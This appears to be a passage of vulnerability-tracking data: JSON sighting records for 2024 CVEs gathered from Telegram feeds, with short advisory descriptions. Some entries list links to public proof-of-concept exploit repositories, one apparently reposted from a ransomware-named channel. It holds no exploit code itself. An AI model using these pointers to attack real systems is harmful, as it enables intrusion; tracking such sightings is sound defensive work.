"creation_timestamp": "2024-08-15T20:59:25.000000Z"}, {"uuid": "59baab62-7c8f-4008-8aaa-4bd02b24c1f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22281", "type": "seen", "source": "https://t.me/cvedetector/3694", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22281 - Apache Helix Front (UI) hardcoded secret session spoofing vulnerability.\", \n  \"Content\": \"CVE ID : CVE-2024-22281 \nPublished : Aug. 20, 2024, 11:15 p.m. | 36\u00a0minutes ago \nDescription : ** UNSUPPORTED WHEN ASSIGNED ** The Apache Helix Front (UI) component contained a hard-coded secret, allowing an attacker to spoof sessions by generating their own fake cookies.  \n  \nThis issue affects Apache Helix Front (UI): all versions.  \n  \nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.  \n  \nNOTE: This vulnerability only affects products that are no longer supported by the maintainer. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-21T02:20:04.000000Z"}, {"uuid": "d9301ad9-4f82-4283-8153-f66fe4748bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22169", "type": "seen", "source": "https://t.me/cvedetector/2374", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22169 - Western Digital Discovery Electron Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-22169 \nPublished : Aug. 2, 2024, 7:16 p.m. | 46\u00a0minutes ago \nDescription : WD Discovery  \nversions prior to 5.0.589 contain a misconfiguration in the Node.js environment  \nsettings that could allow code execution by utilizing the 'ELECTRON_RUN_AS_NODE'\u00a0environment variable.  \nAny malicious application operating with standard user permissions can exploit  \nthis vulnerability, enabling code execution within WD Discovery application's  \ncontext. WD Discovery version 5.0.589 addresses this issue by disabling certain  \nfeatures and fuses in Electron.\u00a0The attack vector for this issue requires the victim to have the WD Discovery app installed on their\u00a0device. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T22:22:58.000000Z"}, {"uuid": "b27c7cda-6dd6-4e30-83ee-4757a603f062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2232", "type": "seen", "source": "https://t.me/cvedetector/2438", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-2232 - Cisco Webex Meeting CSRF Group Invitation\", \n  \"Content\": \"CVE ID : CVE-2024-2232 \nPublished : Aug. 5, 2024, 6:16 a.m. | 26\u00a0minutes ago \nDescription : The  lacks CSRF checks allowing a user to invite any user to any group (including private groups) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T08:53:32.000000Z"}, {"uuid": "9ae5a2e9-ac4f-4c7c-8d5a-048782ddda55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22278", "type": "seen", "source": "https://t.me/cvedetector/2320", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22278 - Harbor Unauthenticated Configuration Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22278 \nPublished : Aug. 2, 2024, 1:15 a.m. | 36\u00a0minutes ago \nDescription : Incorrect user permission validation in Harbor Severity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T03:59:10.000000Z"}, {"uuid": "875cb83c-2b9f-4c34-a0f4-574cca0a09de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2254", "type": "seen", "source": "https://t.me/cvedetector/4051", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-2254 - RT Easy Builder - Elementor Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-2254 \nPublished : Aug. 24, 2024, 3:15 a.m. | 16\u00a0minutes ago \nDescription : The RT Easy Builder \u2013 Advanced addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's widgets in all versions up to, and including, 2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-24T05:40:27.000000Z"}, {"uuid": "f619560d-90f6-450b-9f04-efccfbb03ef4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2259", "type": "seen", "source": "https://t.me/cvedetector/3006", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-2259 - InstaRISPACS Web Interface Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-2259 \nPublished : Aug. 13, 2024, 11:15 a.m. | 26\u00a0minutes ago \nDescription : This vulnerability exists in InstaRISPACS software due to insufficient validation of user supplied input for the loginTo parameter in user login module of the web interface of the application. A remote attacker could exploit this vulnerability by sending a specially crafted input to the vulnerable parameter to perform reflected Cross Site Scripting (XSS) attacks on the targeted system. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T13:46:13.000000Z"}, {"uuid": "7123d6bd-f889-4f76-b454-499a1d6815c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22069", "type": "seen", "source": "https://t.me/cvedetector/2759", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22069 - \"ZTE ZXV10 XT802/ET301 Permissive Password Reset Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-22069 \nPublished : Aug. 8, 2024, 8:15 a.m. | 44\u00a0minutes ago \nDescription : There is a permission and access control vulnerability of ZTE's ZXV10 XT802/ET301 product.Attackers with common permissions can log in the terminal web and change the password of the administrator illegally by intercepting requests to change the passwords. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-08T11:22:38.000000Z"}, {"uuid": "414ed8e2-d7b5-4cf5-985b-3bb856a77d08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22444", "type": "seen", "source": "https://t.me/cvedetector/1574", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22444 - EdgeConnect SD-WAN Orchestrator Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-22444 \nPublished : July 24, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability within the web-based management interface of EdgeConnect SD-WAN Orchestrator could allow a remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the interface. A successful exploit could allow an attacker to execute arbitrary script code in a victims browser in the context of the affected interface. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T19:09:33.000000Z"}, {"uuid": "287505b4-c64b-43c3-a599-0d54b93d4127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22443", "type": "seen", "source": "https://t.me/cvedetector/1569", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22443 - \"Silver Peak EdgeConnect SD-WAN Orchestrator Prototype Pollution\"\", \n  \"Content\": \"CVE ID : CVE-2024-22443 \nPublished : July 24, 2024, 3:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability in the web-based management interface of EdgeConnect SD-WAN Orchestrator could allow an authenticated remote attacker to conduct a server-side prototype pollution attack. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T18:19:15.000000Z"}, {"uuid": "78c16a6a-451d-465d-bcbf-082fa70421a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22387", "type": "seen", "source": "https://t.me/cvedetector/627", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22387 - External Control of Critical State Data (CWE-642)\", \n  \"Content\": \"CVE ID : CVE-2024-22387 \nPublished : July 11, 2024, 3:15 a.m. | 23\u00a0minutes ago \nDescription : External Control of Critical State Data (CWE-642) in the Controller 6000 and Controller 7000 diagnostic web interface allows an authenticated user to modify device I/O connections leading to unexpected behavior that in some circumstances could compromise site physical security controls. Gallagher recommend the diagnostic web page is not enabled (default is off) unless advised by Gallagher Technical support. This interface is intended only for diagnostic purposes.  \n  \n  \n  \nThis issue affects:\u00a0Gallagher Controller 6000 and 7000   \n  \n9.10 prior to vCR9.10.240520a (distributed in 9.10.1268(MR1)), 9.00 prior to vCR9.00.240521a (distributed in 9.00.1990(MR3)), 8.90 prior to vCR8.90.240520a (distributed in 8.90.1947 (MR4)),\u00a08.80 prior to vCR8.80.240520a (distributed in 8.80.1726 (MR5)), 8.70 prior to vCR8.70.240520a (distributed in 8.70.2824 (MR7)), all versions of 8.60 and prior. \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-11T05:46:28.000000Z"}, {"uuid": "b098c36f-ad68-4955-b4bf-b756abf1b7ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22280", "type": "seen", "source": "https://t.me/cvedetector/632", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22280 - VMware Aria Automation does not apply correct inpu\", \n  \"Content\": \"CVE ID : CVE-2024-22280 \nPublished : July 11, 2024, 5:15 a.m. | 34\u00a0minutes ago \nDescription : VMware Aria Automation does not apply correct input validation which allows for SQL-injection in the product.\u00a0An authenticated malicious user could enter specially crafted SQL queries and perform unauthorised read/write operations in the database. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-11T07:51:48.000000Z"}, {"uuid": "675b0eb8-be40-4397-a4db-63811b06688e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22018", "type": "seen", "source": "https://t.me/cvedetector/495", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22018 - A vulnerability has been identified in Node.js, af\", \n  \"Content\": \"CVE ID : CVE-2024-22018 \nPublished : July 10, 2024, 2:15 a.m. | 18\u00a0minutes ago \nDescription : A vulnerability has been identified in Node.js, affecting users of the experimental permission model when the --allow-fs-read flag is used.  \nThis flaw arises from an inadequate permission model that fails to restrict file stats through the fs.lstat API. As a result, malicious actors can retrieve stats from files that they do not have explicit read access to.  \nThis vulnerability affects all users using the experimental permission model in Node.js 20 and Node.js 21.  \nPlease note that at the time this CVE was issued, the permission model is an experimental feature of Node.js. \nSeverity: 2.9 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T04:38:04.000000Z"}, {"uuid": "6a5deca9-6787-441f-b3bb-9e4fd087bfdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22477", "type": "seen", "source": "https://t.me/cvedetector/490", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22477 - A cross-site scripting vulnerability exists in the\", \n  \"Content\": \"CVE ID : CVE-2024-22477 \nPublished : July 9, 2024, 11:15 p.m. | 20\u00a0minutes ago \nDescription : A cross-site scripting vulnerability exists in the admin console OIDC Policy Management Editor. The impact is contained to admin console users only. \nSeverity: 1.8 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T01:42:36.000000Z"}, {"uuid": "57feb120-0808-46a5-8782-ba34b4141a5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22377", "type": "seen", "source": "https://t.me/cvedetector/488", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22377 - The deploy directory in PingFederate runtime nodes\", \n  \"Content\": \"CVE ID : CVE-2024-22377 \nPublished : July 9, 2024, 11:15 p.m. | 20\u00a0minutes ago \nDescription : The deploy directory in PingFederate runtime nodes is reachable to unauthorized users. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T01:42:35.000000Z"}, {"uuid": "47939f17-3d2f-48dc-9b59-da67f70a4771", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22271", "type": "seen", "source": "https://t.me/cvedetector/349", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22271 - In Spring Cloud Function framework, versions 4.1.x\", \n  \"Content\": \"CVE ID : CVE-2024-22271 \nPublished : July 9, 2024, 1:15 p.m. | 16\u00a0minutes ago \nDescription : In Spring Cloud Function framework, versions 4.1.x prior to 4.1.2, 4.0.x prior to 4.0.8 an application is vulnerable to a DOS attack when attempting to compose functions with non-existing functions.  \n  \nSpecifically, an application is vulnerable when all of the following are true:  \n  \nUser is using Spring Cloud Function Web module  \n  \nAffected Spring Products and Versions Spring Cloud Function Framework 4.1.0 to 4.1.2 4.0.0 to 4.0.8  \n  \nReferences   \u00a0  \u00a0History 2020-01-16: Initial vulnerability report published. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T15:36:55.000000Z"}, {"uuid": "7f7c0dd3-8085-4dcb-b56b-0988b59a46c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22062", "type": "seen", "source": "https://t.me/cvedetector/260", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22062 - There is a permissions and access control vulnerab\", \n  \"Content\": \"CVE ID : CVE-2024-22062 \nPublished : July 9, 2024, 7:15 a.m. | 21\u00a0minutes ago \nDescription : There is a permissions and access control vulnerability in ZXCLOUD IRAI.An attacker can elevate non-administrator permissions to administrator permissions by modifying the configuration. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T09:44:03.000000Z"}, {"uuid": "608e2c35-e6cf-4fcc-841c-cfeb06ef2c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22277", "type": "seen", "source": "https://t.me/cvedetector/56", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22277 - VMware Cloud Director Availability contains an HTM\", \n  \"Content\": \"CVE ID : CVE-2024-22277 \nPublished : July 4, 2024, 2:15 p.m. | 32\u00a0minutes ago \nDescription : VMware Cloud Director Availability contains an HTML injection vulnerability.  \nA \n malicious actor with network access to VMware Cloud Director  \nAvailability can craft malicious HTML tags to execute within replication \n tasks. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-04T16:50:46.000000Z"}, {"uuid": "3aff4103-2bc4-4bd1-bc0b-e9fae441c414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22442", "type": "seen", "source": "https://t.me/cvedetector/974", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22442 - Apache Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22442 \nPublished : July 16, 2024, 4:15 p.m. | 26\u00a0minutes ago \nDescription : The vulnerability could be remotely exploited to bypass authentication. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T18:47:47.000000Z"}, {"uuid": "1413ebab-c739-464e-b363-1fd3123f1c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22267", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/705", "content": "#exploit\nVMware Workstation:\nEscaping via a New Route - Virtual Bluetooth\n(CVE-2024-22267, CVE-2024-22269)", "creation_timestamp": "2024-11-19T09:51:26.000000Z"}, {"uuid": "67144805-c05d-4c28-a92a-b3a84b53a5a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "https://t.me/LockBitChannels/56148", "content": "#exploit\nCVE-2024-20328:\nClamAV Command Injection Bug\nhttps://amitschendel.github.io/vulnerabilites/CVE-2024-20328\n\nCVE-2024-24816:\nCKEditor XSS vulnerability\nhttps://github.com/afine-com/CVE-2024-24816\n\nCVE-2023-35080:\nIvanti/Pulse VPN Client Exploit\nhttps://github.com/HopHouse/Ivanti-Pulse_VPN-Client_Exploit-CVE-2023-35080_Privilege-escalation\n\nCVE-2024-0811:\nChrome pageCapture.saveAsMHTML() Extension API Blocked Origin Bypass\nhttps://packetstormsecurity.com/files/177172/Chrome-chrome.pageCapture.saveAsMHTML-Extension-API-Blocked-Origin-Bypass.html\n\nCVE-2023-50387:\nKeyTrap in DNS/DNSSEC\nhttps://github.com/knqyf263/CVE-2023-50387\n\nCVE-2024-22369:\nApache Camel Unsafe Deserialization\nhttps://github.com/oscerd/CVE-2024-22369\n\nCVE-2024-1708/CVE-2024-1709:\nScreenConnect Authentication Bypass\nhttps://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass\n\nCCE-2024-21413:\nMicrosoft Outlook RCE\nhttps://github.com/Mdusmandasthaheer/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability\n\nCVE-2024-24401:\nNagios Authenticated SQL Injection\nhttps://github.com/MAWK0235/CVE-2024-24401\n\nCVE-2024-1071:\nWordPress Ultimate Member Unauthorized Database Access/SQLi\nhttps://github.com/gbrsh/CVE-2024-1071\n\nCVE-2024-1651:\nTorrentpier RCE Exploit\nhttps://github.com/sharpicx/CVE-2024-1651-PoC\n\nCVE-2023-50386:\nApache Solr Backup/Restore APIs RCE\nhttps://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC\n\nCVE-2024-21762:\nFortiOS 6.0 - 7.4 - OoB/RCE\nhttps://github.com/c0d3b3af/CVE-2024-21762-POC\n\nCVE-2024-26521:\nCE Phoenix v1.0.x Html Injection\nhttps://github.com/hackervegas001/CVE-2024-26521\n\nCVE-2024-21672:\nConfluence Data Center/ Server RCE\nhttps://github.com/swagcrafted/CVE-2024-21672-POC\n\nCVE-2023-49109:\nRCE in Apache Dolphinscheduler\nhttps://xz.aliyun.com/t/13913?time__1311=mqmxnQ0%3D3eqQqGNDQiFbFD9Q7fCKAKx\n\nCVE-2024-21410:\nMS Exchange Privilege Escalation\nhttps://github.com/FreakyM0ndy/CVE-2024-21410-poc", "creation_timestamp": "2024-10-04T00:51:54.000000Z"}, {"uuid": "784d8f02-fa35-4f2b-8796-d3e89d8f458a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/101", "content": "#exploit\n1. Heap exploitation, glibc internals and nifty tricks\nhttps://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html\n\n2. CVE-2024-22243:\nURL-parsing vulnerability in Java Spring Framework\nhttps://github.com/SeanPesce/CVE-2024-22243", "creation_timestamp": "2024-08-02T06:43:34.000000Z"}, {"uuid": "13447b4f-42f1-4acf-bd7e-3e15ff47582b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22253", "type": "seen", "source": "Telegram/jwW2woILuMB3B0nr7ysTJhX7s0KYCMEe-3rqFoaiqoXNpQ", "content": "", "creation_timestamp": "2024-03-06T13:07:19.000000Z"}, {"uuid": "23c0e10f-b9e7-4a4f-85ea-a2837195f1eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22861", "type": "seen", "source": "https://t.me/Kelvinseccommunity/21", "content": "\ud83d\udea8 CVE-2024-22861\nInteger overflow vulnerability in FFmpeg before n6.1, allows attackers to cause a denial of service (DoS) via the avcodec/osq module.\n\n\ud83c\udf96@cveNotify", "creation_timestamp": "2024-01-27T09:27:23.000000Z"}, {"uuid": "8b7f11d5-01c0-48a5-a629-78d9758f97e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "Telegram/jwW2woILuMB3B0nr7ysTJhX7s0KYCMEe-3rqFoaiqoXNpQ", "content": "", "creation_timestamp": "2024-03-06T13:07:19.000000Z"}, {"uuid": "f93aa822-cd84-4259-9884-d086e06454a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "Telegram/FaWRITNnsZ9FNJZV9cqRf_UkilMmvDXY1X1kGeI-4NJd7w", "content": "", "creation_timestamp": "2024-02-21T07:40:18.000000Z"}, {"uuid": "a1d780d7-1de2-4e01-b553-db95db68c12f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22268", "type": "seen", "source": "Telegram/Cj91e4B3iZcLGGr-UVJYOcr-TGYmDTp8zo8LHHY5pfrKVIU", "content": "", "creation_timestamp": "2024-06-09T17:52:33.000000Z"}, {"uuid": "246fbd9a-da4f-49e5-9b65-1602bb1367b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22269", "type": "seen", "source": "Telegram/Cj91e4B3iZcLGGr-UVJYOcr-TGYmDTp8zo8LHHY5pfrKVIU", "content": "", "creation_timestamp": "2024-06-09T17:52:33.000000Z"}, {"uuid": "d4ae7c9b-ce34-47aa-8c12-21cf792f818e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "https://t.me/ViralCyber/10409", "content": "\u26a0\ufe0f\u062a\u0639\u062f\u0627\u062f 427 \u0633\u0631\u0648\u0631 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 VMware \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646!\n\ud83d\udfe1\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2024-22252 \u06cc\u06a9 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0632 \u0646\u0648\u0639 \u00abuse-after-free\u00bb \u062f\u0631 \u06a9\u0646\u062a\u0631\u0644\u0631 XHCI USB \u0645\u062d\u0635\u0648\u0644\u0627\u062a VMware \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc ESXi\u060c Workstation \u0648 Fusion \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647 \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc \u0645\u062d\u0644\u06cc \u062f\u0631 \u0645\u0627\u0634\u06cc\u0646 \u0645\u062c\u0627\u0632\u06cc \u0627\u0645\u06a9\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0641\u0631\u0622\u06cc\u0646\u062f VMX \u062f\u0631 \u0645\u06cc\u0632\u0628\u0627\u0646 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f. \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc ESXi\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0645\u062d\u06cc\u0637 VMX Sandbox \u0645\u062d\u062f\u0648\u062f \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062f\u0631 \u062d\u0627\u0644\u06cc \u06a9\u0647 \u062f\u0631 Workstation \u0648 Fusion \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a 